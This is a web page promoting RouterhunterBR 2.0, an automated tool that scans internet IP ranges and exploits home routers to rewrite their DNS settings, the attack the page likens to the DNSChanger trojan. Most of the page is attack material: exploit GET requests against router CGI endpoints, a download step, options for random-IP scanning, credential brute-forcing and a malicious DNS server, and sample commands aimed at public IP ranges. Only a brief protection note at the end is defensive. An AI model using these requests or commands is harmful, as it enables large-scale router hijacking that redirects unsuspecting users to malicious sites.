Routerhunterbr 2.0 / Testing vulnerabilities in devices and routers connected to the Internet / DNSChanger

Routerhunterbr 2.0 / Testing vulnerabilities in devices and routers connected to the Internet / DNSChanger

The RouterhunterBR is an automated security tool que finds vulnerabilities and performs tests on routers and vulnerable devices on the Internet. The RouterhunterBR was designed to run over the Internet looking for defined ips tracks or random in order to automatically exploit the vulnerability DNSChanger on home routers.

The DNSChanger is a trojan able to direct user requests to illegal sites. In practice, this malware has the ability to change the DNS settings of our machine redirecting the user to sites with malicious purposes. Imagine for example that your system is infected with this malware, what might happen is that the user to access a particular site (eg. Facebook.com) may be forwarded to an unsolicited website and potentially illegal.

AUTOR: Jhonathan Davi AKA jh00nbr
EMAIL: jhoonbr@protonmail.ch
Blog: http://blog.inurl.com.br
Twitter: https://twitter.com/jh00nbr
Facebook: https://fb.com/JhonVipNet
Fanpage: https://fb.com/InurlBrasil
Github: https://github.com/jh00nbr/
Youtube: https://www.youtube.com/c/Mrsinisterboy

 

  • GETs:

/dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4&dnsDynamic=0&dnsRefresh=1″

/dnscfg.cgi?dnsSecondary=8.8.8.8&dnsIfcsList=&dnsRefresh=1″

/dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4&dnsDynamic=0&dnsRefresh=1&dnsIfcsList=”

/dnscfg.cgi?dnsSecondary=8.8.4.4&dnsDynamic=0&dnsRefresh=1″

/dns_1?Enable_DNSFollowing=1&dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4

/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP”

 

  • INSTALLATION:

git clone https://github.com/jh00nbr/Routerhunter-2.0.git

 

  • COMMANDs:

–range  201.12.50.0-255
Will set IP range that will be scanned

–bruteforce
Brute force with users and passwords on routers that requires authentication, forcing alteration of dns.

 –startip / –endip
You can customize the IP range with a wildcard / Example: –startip 201.*.*.* –endip 201.*.*.*

–dns1 8.8.8.8 / –dns2 8.8.4.4
Server primary and secondary dns malicious, that anger is listening for requests and will perform the redirection of pages

–threads 10
Set threads numbers

–randomip
Randomizing ips routers

  –limitip 10
Define limite random ip

 

  • Exploiting demonstration’s:

Random ips :

 python routerhunter.py –dns1 8.8.8.8–dns2 8.8.4.4 –randomip –limitip 10 –threads 10

randomip

 

Scanner in range ip:

python routerhunter.py –dns1 8.8.8.8 –dns2 8.8.4.4 –range 192.168.25.0-255 –threads 10

01

 

Brute force with users and passwords on routers that requires authentication:

python routerhunter.py –dns1 8.8.8.8-dns2 8.8.4.4 –range 177.106.19.65-70 –bruteforce –threads 10

forcing

 

How to protect yourself

All models of routers contained in the scanner and shown during the lecture already have firmware correction patches. Default users and passwords should be changed!

The script explores four vulnerabilities in routers

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